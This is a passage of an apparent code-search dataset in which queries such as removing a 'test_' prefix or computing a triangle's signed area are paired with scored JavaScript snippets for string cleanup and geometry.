"title": "" } ]
dc7af1358754159cd8fd6a7d3e28e34a
remove any leading 'test_' or 'test'
[ { "docid": "c2af40b73fb4f45ef742f377b0f40720", "score": "0.6674138", "text": "function jum_normalize_func_name(funcname) {\n if (funcname.substring(0,5) == 'test_') return funcname.substring('test_'.length);\n if (funcname.substring(0,4) == 'test') return funcname.substring('test'.length);\n return funcname;\n}", "title": "" } ]
[ { "docid": "3366a384fb788fca8228b3ad2795bc02", "score": "0.63765115", "text": "function StripPrefix(id)\r\n{\r\n var i = id.lastIndexOf(\"_\");\r\n if (i == -1) return id;\r\n return id.substr(i+1);\r\n}", "title": "" }, { "docid": "22bfde328247161bab531c2c12923c27", "score": "0.60684794", "text": "function noSpace(test){\r\n return test.replace(/\\s+/g,\"\");\r\n \r\n }", "title": "" }, { "docid": "c5ba351689543a7e3246f56b9997b32a", "score": "0.60648847", "text": "function filterFieldName(temp) {\r\n\ttemp = trim(temp);\r\n\ttemp = temp.toLowerCase();\r\n\ttemp = temp.replace(/[^a-z0-9]/ig,\"_\");\r\n\ttemp = temp.replace(/[_]+/g,\"_\");\r\n\twhile (temp.length > 0 && (temp.charAt(0) == \"_\" || temp.charAt(0)*1 == temp.charAt(0))) {\r\n\t\ttemp = temp.substr(1,temp.length);\r\n\t}\r\n\twhile (temp.length > 0 && temp.charAt(temp.length-1) == \"_\") { \r\n\t\ttemp = temp.substr(0,temp.length-1);\r\n\t}\r\n\treturn temp;\r\n}", "title": "" }, { "docid": "ff82e40509e7606e95cb1b54399c2a6d", "score": "0.5995647", "text": "function removeChar(test){\r\n let newChars = test.slice(1,-1);\r\n return newChars;\r\n }", "title": "" }, { "docid": "af2a8805c0ff8ad6bd8886b9e75947fa", "score": "0.5882265", "text": "function replace(str) {\r\n return str ? str.replace(/_/, '') : '';\r\n }", "title": "" }, { "docid": "49080d686e94605469a0dceefbc37c20", "score": "0.5747857", "text": "function keepFirst(s) {\n\treturn s.substring(0, 2);\n}", "title": "" }, { "docid": "374e00e45b4dac6618d81fe8719dcd6b", "score": "0.5687923", "text": "cleanPrefix(prefix) {\n if (!prefix) {\n return this;\n }\n this.input = this.input.replace(new RegExp(`^${prefix}[-_]?`, 'i'), '');\n return this;\n }", "title": "" }, { "docid": "29f9e851fb931bb668402283021f2f89", "score": "0.5651801", "text": "function simplifyString(s) {\n return s.toLowerCase().replace(/[^\\w]|_/g, \"\");\n }", "title": "" }, { "docid": "d311b4febf703856ba233587ff5d95b0", "score": "0.560235", "text": "function stripUnderscoresFromValue(str){\r\n\tif (str){\r\n\t\tif (str.indexOf('_') != -1){\r\n\t\t\tvar newValue;\r\n\t\t\tvar newLength = str.length;\r\n\t\t\tfor (var i = str.length - 1; i >= 0; i--){\r\n\t\t\t\tif (str.charAt(i) == '_'){\r\n\t\t\t\t\tnewLength--;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// Build the new value (underscored strippes from the end of the string, replaced with spaces)\r\n\t\t\tif (newLength < str.length){\r\n\t\t\t\tnewValue = str.substring(0, newLength);\r\n\t\t\t\tfor(var i=0,iL=(str.length-newLength);i<iL;++i){\r\n\t\t\t\t\tnewValue = newValue + \" \";\r\n\t\t\t\t}\r\n\t\t\t\treturn newValue;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn str;\r\n}", "title": "" }, { "docid": "91a98170b108b1de9cd81289e936cfed", "score": "0.5601265", "text": "function cleanString(str) {\n\tconst newStr = str.trim().split(' ').join('_');\n\treturn newStr;\n}", "title": "" }, { "docid": "b65bac17d7e33b2b36728ae25c29fee7", "score": "0.55304414", "text": "static removePrefix(value) {\n if (value.includes(InitialPrefix) && value.includes(EndPrefix)) {\n return value\n .toString()\n .replace(InitialPrefix, \"\")\n .replace(EndPrefix, \"\");\n }\n return value;\n }", "title": "" }, { "docid": "86889814c65dcaa0f52dac9f8fe66975", "score": "0.5502796", "text": "function keepFirst(str) {\n return str.substring(0, 2);\n}", "title": "" }, { "docid": "6e1de7e08ddd407bc156e0ddd7de8a09", "score": "0.5489577", "text": "function simple_test0() {\n var re = /(\\w+)\\s(\\w+)/;\n var str = 'John Smith';\n var newstr = str.replace(re, '$2, $1');\n}", "title": "" }, { "docid": "6e1de7e08ddd407bc156e0ddd7de8a09", "score": "0.5489577", "text": "function simple_test0() {\n var re = /(\\w+)\\s(\\w+)/;\n var str = 'John Smith';\n var newstr = str.replace(re, '$2, $1');\n}", "title": "" }, { "docid": "b449177272e4d81ee07ebf0fee149438", "score": "0.546346", "text": "function cleanFieldName_v1(name) {\n return name.replace(/[^A-Za-z0-9]+/g, '_');\n }", "title": "" }, { "docid": "c1eb6ee4a795261b9e013b4fe615892b", "score": "0.5432747", "text": "function removeThisIsSA(string: string){\n\n\t\t\t\t\tif (string.includes(' This is SA: ')){\n\t\t\t\t\t\treturn string.replace('This is SA: ', '');\n\t\t\t\t\t}\n\t\t\t\t\tif (string.includes(' This is S.A.:')){\n\t\t\t\t\t\treturn string.replace('This is S.A.: ', '');\n\t\t\t\t\t}\n\n\t\t\t\t\treturn string;\n\t\t\t\t}", "title": "" }, { "docid": "bdc5c0ab2ae9f11bc7ee1bca39af67cc", "score": "0.5428651", "text": "function stripPrefixes(file, next) {\n if (file.isDirectory()) {\n next(null, file);\n return;\n }\n\n if (!/templates/.test(file.dirname)) {\n next(null, file);\n return;\n }\n\n if (file.has('action.stripPrefixes')) {\n next(null, file);\n return;\n }\n\n file.set('action.stripPrefixes', true);\n file.basename = file.basename.replace(/^_/, '.');\n file.basename = file.basename.replace(/^\\$/, '');\n next(null, file);\n}", "title": "" }, { "docid": "300c397c742426207655f554fad8f70b", "score": "0.54064834", "text": "function cleanFieldName(name) {\n return name.replace(/[-\\s]+/g, '_');\n }", "title": "" }, { "docid": "62d1a2848c9f03d4f0c7e5bb8ffb3e7b", "score": "0.53962696", "text": "function stripStringRegEx(incstr, a, b) {\n var str = incstr;\n done = false;\n\n while (done == false) {\n if (str.length == 0) {\n done = true;\n }\n var ai = str.indexOf(a);\n if (ai == -1) {\n done = true\n }\n else {\n var bi = ai + 1;\n while (str[bi] != b) {\n bi++;\n if (bi >= str.length) {\n done = true;\n break;\n }\n }\n if (bi < str.length) {\n bi++;\n var subst = str.substring(ai, bi);\n var tempstr;\n if (subst != null) {\n tempstr = str.replace(subst, \"\");\n str = tempstr;\n }\n }\n }\n }\n return str;\n}", "title": "" }, { "docid": "81e4c7e63d99c30a11e49bd1eba57a24", "score": "0.53807056", "text": "function removeVideoPrefix(prefix,s) {\n return s.substr(prefix.length);\n}", "title": "" }, { "docid": "5fa1ce3f1a890550deaa51689c4bf995", "score": "0.5368089", "text": "function replace_with_underscore(l) {\n var r = l.replace(/[^a-z0-9\\s]/gi, '_').replace(/ /g,'_');\n return r;\n}", "title": "" }, { "docid": "1437a7de454668934663f0eabc8e2f78", "score": "0.53469956", "text": "function stripPrefix(prefix) {\n return function(s) {\n var idx = prefix.length;\n return s.slice (0, idx) === prefix ? Just (s.slice (idx)) : Nothing;\n };\n }", "title": "" }, { "docid": "3008ac11c053a06a3bf66082b1fa180e", "score": "0.53446984", "text": "function stripPrefix(str, prefix) {\n if (prefix === void 0) {\n prefix = \"\";\n }\n\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return \"/\";\n }\n\n if (str.startsWith(prefix + \"/\")) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "3008ac11c053a06a3bf66082b1fa180e", "score": "0.53446984", "text": "function stripPrefix(str, prefix) {\n if (prefix === void 0) {\n prefix = \"\";\n }\n\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return \"/\";\n }\n\n if (str.startsWith(prefix + \"/\")) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "73b1ba9f13042838e7f3bed5c16ce186", "score": "0.534164", "text": "function removeFirst(x, y){\n return x.toString().replace(y, \"\");\n }", "title": "" }, { "docid": "e5ce30a2eaf7935ee57cb8ed15834483", "score": "0.5332403", "text": "function cleanFunctionName(functionName) {\n var ignoredPrefix = 'non-virtual thunk to ';\n if (functionName.startsWith(ignoredPrefix)) {\n return functionName.substr(ignoredPrefix.length);\n }\n return functionName;\n}", "title": "" }, { "docid": "2d24e640d88f86bee33644f41a08e476", "score": "0.5316773", "text": "function remove(s){\n return s.replace(/!+$/, '');\n}", "title": "" }, { "docid": "ecae08a597a1a1c3f5fab05a0d6346b2", "score": "0.52956074", "text": "function stripPrefix(str, prefix = ``) {\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return `/`;\n }\n\n if (str.startsWith(`${prefix}/`)) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "ecae08a597a1a1c3f5fab05a0d6346b2", "score": "0.52956074", "text": "function stripPrefix(str, prefix = ``) {\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return `/`;\n }\n\n if (str.startsWith(`${prefix}/`)) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "ecae08a597a1a1c3f5fab05a0d6346b2", "score": "0.52956074", "text": "function stripPrefix(str, prefix = ``) {\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return `/`;\n }\n\n if (str.startsWith(`${prefix}/`)) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "ecae08a597a1a1c3f5fab05a0d6346b2", "score": "0.52956074", "text": "function stripPrefix(str, prefix = ``) {\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return `/`;\n }\n\n if (str.startsWith(`${prefix}/`)) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "ecae08a597a1a1c3f5fab05a0d6346b2", "score": "0.52956074", "text": "function stripPrefix(str, prefix = ``) {\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return `/`;\n }\n\n if (str.startsWith(`${prefix}/`)) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "ecae08a597a1a1c3f5fab05a0d6346b2", "score": "0.52956074", "text": "function stripPrefix(str, prefix = ``) {\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return `/`;\n }\n\n if (str.startsWith(`${prefix}/`)) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "ecae08a597a1a1c3f5fab05a0d6346b2", "score": "0.52956074", "text": "function stripPrefix(str, prefix = ``) {\n if (!prefix) {\n return str;\n }\n\n if (str === prefix) {\n return `/`;\n }\n\n if (str.startsWith(`${prefix}/`)) {\n return str.slice(prefix.length);\n }\n\n return str;\n}", "title": "" }, { "docid": "b980fcb99e88be50a031c3ccb60aebd4", "score": "0.52952844", "text": "function remove_first_occurrence(mainString, string) {\n return mainString.replace(string + \" \", \"\");\n}", "title": "" }, { "docid": "ab65926922382bf74baf8924f67827ca", "score": "0.52893335", "text": "function extractKeyWord(string) {\n\treturn string.split('_')[0]\n}", "title": "" }, { "docid": "04f83a212a1056ef839b3699cc86ba9d", "score": "0.5283539", "text": "function keepFirst(string)\n{\n return string.substring(0, 2);\n}", "title": "" }, { "docid": "0f56841a87930a45cdda1b8c1925b3d8", "score": "0.5260145", "text": "function removePrefix(str) {\n if(str.charAt(0) === '~') {\n str = str.substring(1);\n }\n return str;\n }", "title": "" }, { "docid": "b4169aa5cc962053404a1d4c3bc1036e", "score": "0.525751", "text": "function sanitize(myid, prefix) {\n // it is possible for a topic label to not exist\n // replace all non alpha-numeric characters with _\n return (myid) ? prefix + myid.replace( /(\\+|#|-)/g, \"\\\\$1\" ).replace( /\\s/g, \"_\") : \"\";\n}", "title": "" }, { "docid": "2b3a0767e96f49542c76ea4f60433aad", "score": "0.52522117", "text": "function removeSpaces(word){\n var newString = word.split(' ').join('_');\n return newString;\n}", "title": "" }, { "docid": "53944dffde4c89d1eb57c017a4d49046", "score": "0.5242444", "text": "function filterSpace(test){\n\treturn test != \"\";\n}", "title": "" }, { "docid": "ad66f77447326cb08228ed7d42ca2ca0", "score": "0.5233858", "text": "function removeUnitNamespace(unit) {\n return unit.replace(/^(.*?)-/, '');\n}", "title": "" }, { "docid": "2a85522cad892eb3ba52b72fb8c5cc19", "score": "0.52262294", "text": "function cleanFileDivString(fileDivString) {\n const cleanRegExp = new RegExp('[^a-zA-Z0-9_]', 'g');\n return fileDivString.replace(cleanRegExp, '');\n}", "title": "" }, { "docid": "091599d1205226c52532bbef5d5fc92a", "score": "0.52239525", "text": "function keepFirst(str)\n{ \n const length = str.length;\n return str.substring(0,2);\n}", "title": "" }, { "docid": "95b5c0bcab0b05f0a25c91cd6a880ef6", "score": "0.52173674", "text": "function removePrefixIfExists(str, prefix) {\n if (!str || (str.length < prefix.length)) {\n return str;\n }\n var strPrefix = str.substr(0, prefix.length).toLowerCase();\n if (strPrefix == prefix.toLowerCase()) {\n return str.substr(prefix.length);\n } else {\n return str;\n }\n}", "title": "" }, { "docid": "106b59024e4f04cf8f8055bd09e322a8", "score": "0.52155244", "text": "function stripKey(type, key) {\n switch(type) {\n case 'postId':\n case LS_READ:\n case LS_FOLDED:\n case LS_COMMENTS_FOLDED:\n case LS_COMMENTS_UNFOLDED:\n case LS_COMMENTS_READ_COUNT:\n case LS_COMMENTS_READ_COUNT_CHANGED:\n return key.replace(/^update-/, '');\n case 'url':\n case LS_URL_LIST_LAST_UNFOLDED:\n return key.replace(/^https:\\/\\/plus\\.google\\.com/, '');\n default:\n return key;\n }\n}", "title": "" }, { "docid": "f2cca741a1e3751f6dedebe012816d85", "score": "0.5206234", "text": "function keepFirst(str) {\n return str.split(str[2])[0]\n}", "title": "" }, { "docid": "5e7ee9ddbe4c576053e9217fe440bfd8", "score": "0.5204341", "text": "function normalizeTitle(title)\n {\n return title.replace(/^_+/, \"\").replace(/_+$/, \"\").replace(/[\\s_]+/g, \"_\")\n }", "title": "" }, { "docid": "5e7ee9ddbe4c576053e9217fe440bfd8", "score": "0.5204341", "text": "function normalizeTitle(title)\n {\n return title.replace(/^_+/, \"\").replace(/_+$/, \"\").replace(/[\\s_]+/g, \"_\")\n }", "title": "" }, { "docid": "9ee8b8d5e1d88c448b7116dc1eff0ab7", "score": "0.5203522", "text": "function dedupeString(string){\n\n}", "title": "" }, { "docid": "f58ed0c65852206f46e18e41dd822c64", "score": "0.5185523", "text": "function normalizeName(name) {\n s = name;\n var pos = 0;\n while (true)\n {\n pos = s.search(' ');\n if (pos === -1) return s;\n else s = s.replace(' ','_');\n }\n}", "title": "" }, { "docid": "1ed82a00fa06f3e90206a0f642ee1bef", "score": "0.5184879", "text": "function removePrefix(path){\r\n\tvar result = \"\";\r\n\tvar parts = path.split(\"://\");\r\n\tresult += parts[1];\r\n\treturn result;\r\n}", "title": "" }, { "docid": "b68363fe10086de5aff211b5f09740eb", "score": "0.51761425", "text": "function stripPrefix(prefix, string) {\n const found = string.slice(0, prefix.length);\n if (found === prefix) {\n return string.slice(prefix.length);\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "6b5bcafc64e55f7ea1fe57aaf5fa7b80", "score": "0.5170057", "text": "function deslugify(str) {\n\tlet firstWord = true;\n\treturn str\n\t\t.replace(/[_-]/g, ' ')\n\t\t.replace(/([A-Z]+|[A-Z]?[a-z]+)(?=[A-Z]|\\b)/g, x => {\n\t\t\tif (firstWord) {\n\t\t\t\tfirstWord = false;\n\t\t\t} else {\n\t\t\t\tx = x.toLowerCase();\n\t\t\t}\n\t\t\treturn x + ' ';\n\t\t})\n\t\t.trim();\n}", "title": "" }, { "docid": "6f44d8a1cf6cd80229de25ef6bef6453", "score": "0.51505023", "text": "function spaceU(str){\n // Placeholder initiated\n var string = str\n // 3,2,1, TAKEOFF\n return(string.replace(/[^A-Z0-9]/ig, \"_\").toLowerCase());\n }", "title": "" }, { "docid": "1bc7e1592c2de7b0efa059390c6d5ba2", "score": "0.5142926", "text": "function trimFunctionName(ownName) {\r\n\townName = ownName.substr('function '.length);\r\n\townName = ownName.substr(0, ownName.indexOf('('));\r\n\treturn ownName;\r\n}", "title": "" }, { "docid": "078cb7b6ac7d4e7c15e30e509619de5f", "score": "0.5138478", "text": "function removeHeaderStart(s) {\n const r = /^###? \\d\\d?\\.\\d\\d?\\./;\n if (r.test(s)) {\n return '';\n }\n return s;\n}", "title": "" }, { "docid": "16b8132514b087015d095eef4dda53a6", "score": "0.5113909", "text": "function ___R$$priv$project$rome$$internal$codec$config$json$parse_ts$removeUnderscores(\n\t\tparser,\n\t\tindex,\n\t\traw,\n\t) {\n\t\tlet str = \"\";\n\n\t\tfor (let i = 0; i < raw.length; i++) {\n\t\t\tconst char = raw[i];\n\n\t\t\tif (char === \"_\") {\n\t\t\t\t// Don't allow separators in JSON\n\t\t\t\tif (parser.meta.type !== \"rjson\") {\n\t\t\t\t\tthrow parser.unexpected({\n\t\t\t\t\t\tdescription: ___R$project$rome$$internal$diagnostics$descriptions$index_ts$descriptions.JSON.NUMERIC_SEPARATORS_IN_JSON,\n\t\t\t\t\t\tstart: parser.getPositionFromIndex(index.increment()),\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tstr += char;\n\t\t\t}\n\t\t}\n\n\t\treturn str;\n\t}", "title": "" }, { "docid": "8bbfc4cb7b1655b1efad216bfa4d46dc", "score": "0.509681", "text": "function clean_string_no_space(input_object) {\n var input_string = input_object.value;\n\n // remove all non alpha numeric\n var first_pass = input_string.replace(/[^a-zA-Z0-9_\\ ]/g, \"\");\n var second_pass = first_pass.replace(/\\s+/g, \"_\");\n var third_pass = second_pass.replace(/\\s+$/, \"\");\n input_object.value = third_pass;\n}", "title": "" }, { "docid": "6d778a569a19038a1102ccdae32b968a", "score": "0.509028", "text": "static getSortKeyIgnoringUnderscore(identifier) {\n let parts;\n if (identifier[0] === '_') {\n const withoutUnderscore = identifier.substr(1);\n parts = [withoutUnderscore.toLowerCase(), '*', withoutUnderscore, '*', '_'];\n }\n else {\n parts = [identifier.toLowerCase(), '*', identifier];\n }\n return parts.join('');\n }", "title": "" }, { "docid": "541157fe802b19b8be10d7599df1e0a5", "score": "0.5072984", "text": "function keepFirst(aString){\n return aString[0] + aString[1];\n}", "title": "" }, { "docid": "a818976a1c89cec384c328edc388f5cf", "score": "0.50641304", "text": "function getCleanTitle(title) {\n return title.replace(/[^a-zA-Z0-9-_ ]/g, \"\");\n}", "title": "" }, { "docid": "89246a8cf4f7115fe8f6eb321df930e3", "score": "0.5061535", "text": "function _sanitizeHeaderKey(key) {\n key = key.replace(/@/, ''); // remove the @ symbol\n key = key.replace(/-/, ' '); // replace dashes with spaces\n key = key.charAt(0).toUpperCase() + key.slice(1); // capitalize the first letter\n \n return key;\n }", "title": "" }, { "docid": "f927bb6bb73c491d237392d822606b63", "score": "0.5048051", "text": "_trim(s) { return (s.charAt(0) == '#') ? s.substring(1, 7) : s }", "title": "" }, { "docid": "2c35da368b3c6f36d2646befd9990e9c", "score": "0.50467074", "text": "function getCleanSubject(subject) {\r\n var newSubject = subject;\r\n var first3 = subject.toLowerCase().substring(0, 3);\r\n var first4 = subject.toLowerCase().substring(0, 4);\r\n if(first3 == \"re:\" || first3 == \"cc:\" || first3 == \"fw:\") {\r\n newSubject = newSubject.substring(3)\r\n }\r\n else if(first4 == \"fwd:\") { \r\n newSubject = newSubject.substring(4);\r\n }\r\n \r\n //remove leading whitespace\r\n while(newSubject.substring(0, 1) == \" \") {\r\n newSubject = newSubject.substring(1);\r\n }\r\n \r\n return newSubject.replace(/[\\\\\\\\/:*?\\\"<>|]/g, '_');\r\n}", "title": "" }, { "docid": "6bfc5126cf5007bf1f0444b7d3ec3313", "score": "0.50441474", "text": "function sc_prefix(s) {\n var i = s.lastIndexOf(\".\");\n return i ? s.substring(0, i) : s;\n}", "title": "" }, { "docid": "e09bce0089dcf43198ac78b59904f4c8", "score": "0.50323087", "text": "function _stripNonWhite(value) {\n return value.replace(nonWhiteRegexp, '');\n}", "title": "" }, { "docid": "e09bce0089dcf43198ac78b59904f4c8", "score": "0.50323087", "text": "function _stripNonWhite(value) {\n return value.replace(nonWhiteRegexp, '');\n}", "title": "" }, { "docid": "6e4272bcc995894dbe7ed12ed9e85141", "score": "0.5025813", "text": "function spinalCase(str) {\n // \"It's such a fine line between stupid, and clever.\"\n // --David St. Hubbins\n var lowerCaseStr = str.toLowerCase();\n\n var re = /\\s{1}\\_/g;\n console.log(str);\n return str;\n}", "title": "" }, { "docid": "72303445c687efc5d1db5fb3fa71481b", "score": "0.5023143", "text": "function sanitize (word) {\n return word.toLowerCase().trim().split(' ').join('_');\n }", "title": "" }, { "docid": "b7d309230855207b11c4304aded87c09", "score": "0.5022361", "text": "_stripLeadingSlash(path) {\n if (path[0] === '/') {\n return path.slice(1);\n }\n return path;\n }", "title": "" }, { "docid": "5f262a6fd75b56224fac70b88e0b67a6", "score": "0.50218755", "text": "function stripFileName(s) {\n\tlastSlash=s.lastIndexOf('/',s.length-1)\n\treturn s.substring (lastSlash+1,s.length);\n}", "title": "" }, { "docid": "54e2a7706aed0dd7fc525cd8bb8899c9", "score": "0.5020169", "text": "function underscore (s) {\n return s.replace(/-/g, '_')\n}", "title": "" }, { "docid": "6b0ef4753a3e03044a941e90358ae430", "score": "0.5008345", "text": "function sanitizeId(id) {\n let rv = id;\n rv = rv.replace('.json', '');\n rv = rv.replace(/[_ +'\"-]+/g, '-');\n rv = rv.toLowerCase()\n return rv;\n}", "title": "" }, { "docid": "b39ba5210f446cf461bc2e02d7e13247", "score": "0.5003132", "text": "function safe(str) {\n if (str) return str.replace(/[^\\w\\s]|_/gi, '');\n}", "title": "" }, { "docid": "b1fcf42c00edd17ea761ce9b2cdcf99e", "score": "0.49998128", "text": "function removeFilename(path){\n\tvar filename = /[^\\/]*$/;\n\tpath = path.replace(filename, '');\n\treturn path;\n}", "title": "" }, { "docid": "fb3ae801c1ef90ef43af3a176776ec82", "score": "0.49963707", "text": "function cleanName(fullPath){\n var noDir = fullPath.replace(dirStr,'');\n var noLAS = noDir.replace('.LAS','');\n return noLAS\n}", "title": "" }, { "docid": "259be8bbcf8f326bc346856029d04ed9", "score": "0.49952558", "text": "function clean_code(str) {\n let ret = JSON.stringify(str).replace(/:/gi, '_')\n ret = JSON.stringify(ret).replace(/\"/gi, '')\n if (ret.slice(0, 1) === ' ') {\n ret = ret.slice(1)\n }\n if (ret.slice(-1) === ' ') {\n ret = ret.slice(0, -1)\n }\n\n return ret\n}", "title": "" }, { "docid": "eec402808b028bb0c9e73bcdc544f87f", "score": "0.4958772", "text": "function removeOverlap(a, b){\n\t\t\twhile(!b.startsWith(a) && a.length > 0){\n\t\t\t\ta = a.substr(1);\n\t\t\t}\n\t\t\tif(a.length > 0){\n\t\t\t\treturn b.substr(a.length);\n\t\t\t}\n\t\t\treturn b;\n\t\t}", "title": "" }, { "docid": "b43c83029701e117ccac453e85efc158", "score": "0.4956098", "text": "removeLeadingSlash(text) {\n if (text.startsWith('/') || text.startsWith('\\\\')) {\n return text.substring(1);\n }\n else {\n return text;\n }\n }", "title": "" }, { "docid": "ffa93722064544076b8fe607a96b57f2", "score": "0.4942682", "text": "removeFeatures(str) {\n const regex = /\\(.*(with|feat)*\\)/gm;\n return str.replaceAll(regex, '');\n }", "title": "" }, { "docid": "6a26b0cb6ad849793b148f6667a8123f", "score": "0.4941819", "text": "function kababToSnake(str){\n var newStr = str.replace(/-/g , \"_\");\n return newStr;\n}", "title": "" }, { "docid": "5740cf09ad603420553229670bd46ffb", "score": "0.4941249", "text": "function sanitise(name){\n\treturn name.replace(/[^a-zA-Z0-9\\.\\-]/g, '_');\n}", "title": "" }, { "docid": "188679b536c617ced3af6450e8eb2abf", "score": "0.49307442", "text": "trim (url) {\n const updated = url.replace(/(.)*github.com\\/[a-zA-Z-]*\\/[a-zA-Z-]*/g, '');\n if (updated.length > 1) return updated.substring(1); // Get rid of starting `/`\n return updated;\n }", "title": "" }, { "docid": "3eb594d7718e5b58b77455044a008f27", "score": "0.49247515", "text": "function cleanName(name) {\n\t\treturn name.replace(imgRegex, \"\").replace(\" \", \"_\");\n\t\t\n\t}", "title": "" }, { "docid": "5c52797851afa008e7a1e11958550bb9", "score": "0.492085", "text": "function fixStart(s) {\n var c = s.charAt(0);\n return c + s.slice(1).replace(new RegExp(c, 'g'), '*');\n }", "title": "" }, { "docid": "3e98b44d18a538a23e2e6809ffbc2563", "score": "0.49158868", "text": "function thunk(str){return str.replace(/-/g,'_').toUpperCase();}", "title": "" }, { "docid": "79593dfedc3033df49e38f44c3ede816", "score": "0.49103478", "text": "function fixStart(str)\n{\n //var firstChar = str.slice(0,1);\n var str1 = str.split(\"\");\n // var re = new RegExp(/(?!^)${firstChar}/,\"g\");\n // var str1 = str.replace(re,'*');\n for (var i = 1; i < str.length; i+=1)\n {\n if (str[i] === str[0])\n {\n str1[i] = '*';\n }\n }\n str1 = str1.join(\"\");\n console.log(str,\" is replaced : \",str1);\n return str1;\n}", "title": "" }, { "docid": "adcb94e9d339d8039702b707dbfc181f", "score": "0.49084443", "text": "static trimFilename(str) {\n let lastIndex;\n for (let i = 0; i < str.length; ++i) {\n if (str[i] == String.fromCharCode(0)) {\n lastIndex = i;\n break;\n }\n }\n return str.slice(0, lastIndex);\n }", "title": "" }, { "docid": "650ec857bea63d18fcfa32458ac1a811", "score": "0.49048528", "text": "function hasTestFunctionPrefix(name) {\r\n return name.startsWith('Test') || name.startsWith('Example');\r\n}", "title": "" }, { "docid": "b259c49383c9245e2c9a4518f418c45f", "score": "0.49044892", "text": "function remove_first_occurrence(string1, string2){\n return string1.replace(string2, '');\n }", "title": "" }, { "docid": "88295e4149cd749de5b14f01789b8d3d", "score": "0.490254", "text": "function stripNonWhite(value) {\n return value.replace(nonWhiteRegexp, '');\n}", "title": "" }, { "docid": "88295e4149cd749de5b14f01789b8d3d", "score": "0.490254", "text": "function stripNonWhite(value) {\n return value.replace(nonWhiteRegexp, '');\n}", "title": "" }, { "docid": "47c447a0fb616bc03b75a0993c394e27", "score": "0.48999524", "text": "function filterName(name) {\n return name.toLowerCase().replace(/ /g, '');\n}", "title": "" }, { "docid": "f1eeb617a2aebbdac313c5d6220406a1", "score": "0.48990095", "text": "function snakeCase(input) {\n return lodashSnakeCase(input).replace(/\\_\\d/g, dashNumber => dashNumber.slice(1));\n}", "title": "" }, { "docid": "b3ab711374f77ff569433c4c47aa327e", "score": "0.48956946", "text": "function simple_test1() {\n var re0 = /\\w+\\s/g;\n var re1 = /\\w+\\s/g;\n var re2 = /\\w+/;\n var re3 = /\\w+/g;\n var re4 = / /;\n}", "title": "" }, { "docid": "a137d43e3e04212d286aa6bc3e062f12", "score": "0.4890163", "text": "function keyify(template_title) {\n return template_title.toLowerCase().replace(\"_\",\" \");\n}", "title": "" }, { "docid": "1057677d425d6400d05398d8043a96bf", "score": "0.48871118", "text": "function stripFilename(path) {\n if (!path)\n return '';\n const index = path.lastIndexOf('/');\n return path.slice(0, index + 1);\n }", "title": "" }, { "docid": "1057677d425d6400d05398d8043a96bf", "score": "0.48871118", "text": "function stripFilename(path) {\n if (!path)\n return '';\n const index = path.lastIndexOf('/');\n return path.slice(0, index + 1);\n }", "title": "" }, { "docid": "3ed8e3b31bd75e057f0955652e9a3e5c", "score": "0.488428", "text": "function cleanString(title) {\r\n\t//remplacement des _ par des espaces\r\n\ttitle=title.split('_').join(' ');\r\n\t//remplacement du .mp3 par rien\r\n\ttitle=title.replace('.mp3','');\r\n\treturn title;\r\n}", "title": "" } ]
b7d447d61529ff4ec8f1a1b8b317aa42
signed area of a triangle
[ { "docid": "22d8927298ec0dc5b3ba29c6a41d295b", "score": "0.0", "text": "function area( p, q, r ) {\n\n\treturn ( q.y - p.y ) * ( r.x - q.x ) - ( q.x - p.x ) * ( r.y - q.y );\n\n}", "title": "" } ]
[ { "docid": "55f0348f4b9403500c5eaa519db4698b", "score": "0.71430963", "text": "function areaTriangle(base, height) {\n return (.5*base*height);\n }", "title": "" }, { "docid": "cab59a5dcae61f356ac151bdca4f1ae4", "score": "0.7095415", "text": "function areaOfTriangle(a, b, c) {\n var s = ( a + b + c ) / 2; \n\n return s*(s - a)*(s - b)*(s - c); \n\t\t\n}", "title": "" }, { "docid": "0e6960acbb83f8304be46b6dc0977554", "score": "0.7073114", "text": "function areaOfTriangle(base, height) {\n return (base * height) / 2;\n}", "title": "" }, { "docid": "43e16c6a704272e56286a751045c3f86", "score": "0.6988007", "text": "function getTriangleArea(triangle) {\n console.log(triangle);\n const [a, b, c] = triangle;\n \n return 0.5 * (\n (b[0] - a[0]) * (c[1] - a[1]) -\n (c[0] - a[0]) * (b[1] - a[1])\n );\n }", "title": "" }, { "docid": "7333e624e3dc9fc7b76494ca25c399cb", "score": "0.6982993", "text": "function signedPolygon2DArea(vertices) {\n var sum = 0;\n var n = vertices.length;\n for (var i = 0; i < n; i++) {\n var v = vertices[i];\n var nv = vertices[(i + 1) % n];\n sum += v.x * nv.y - v.y * nv.x;\n }\n return sum * 0.5;\n }", "title": "" }, { "docid": "8a048f7d405689413749087e472d2d99", "score": "0.69575506", "text": "function triangleArea(b,h) {\n var area= .5*b*h;\n return area;\n\n}", "title": "" }, { "docid": "dceed9ae5073e8acdb6a21b1faaa811a", "score": "0.6940601", "text": "function calculateSignedArea(ring ) {\n\t\t var sum = 0;\n\t\t for (var i = 0, len = ring.length, j = len - 1, p1 = (void 0), p2 = (void 0); i < len; j = i++) {\n\t\t p1 = ring[i];\n\t\t p2 = ring[j];\n\t\t sum += (p2.x - p1.x) * (p1.y + p2.y);\n\t\t }\n\t\t return sum;\n\t\t}", "title": "" }, { "docid": 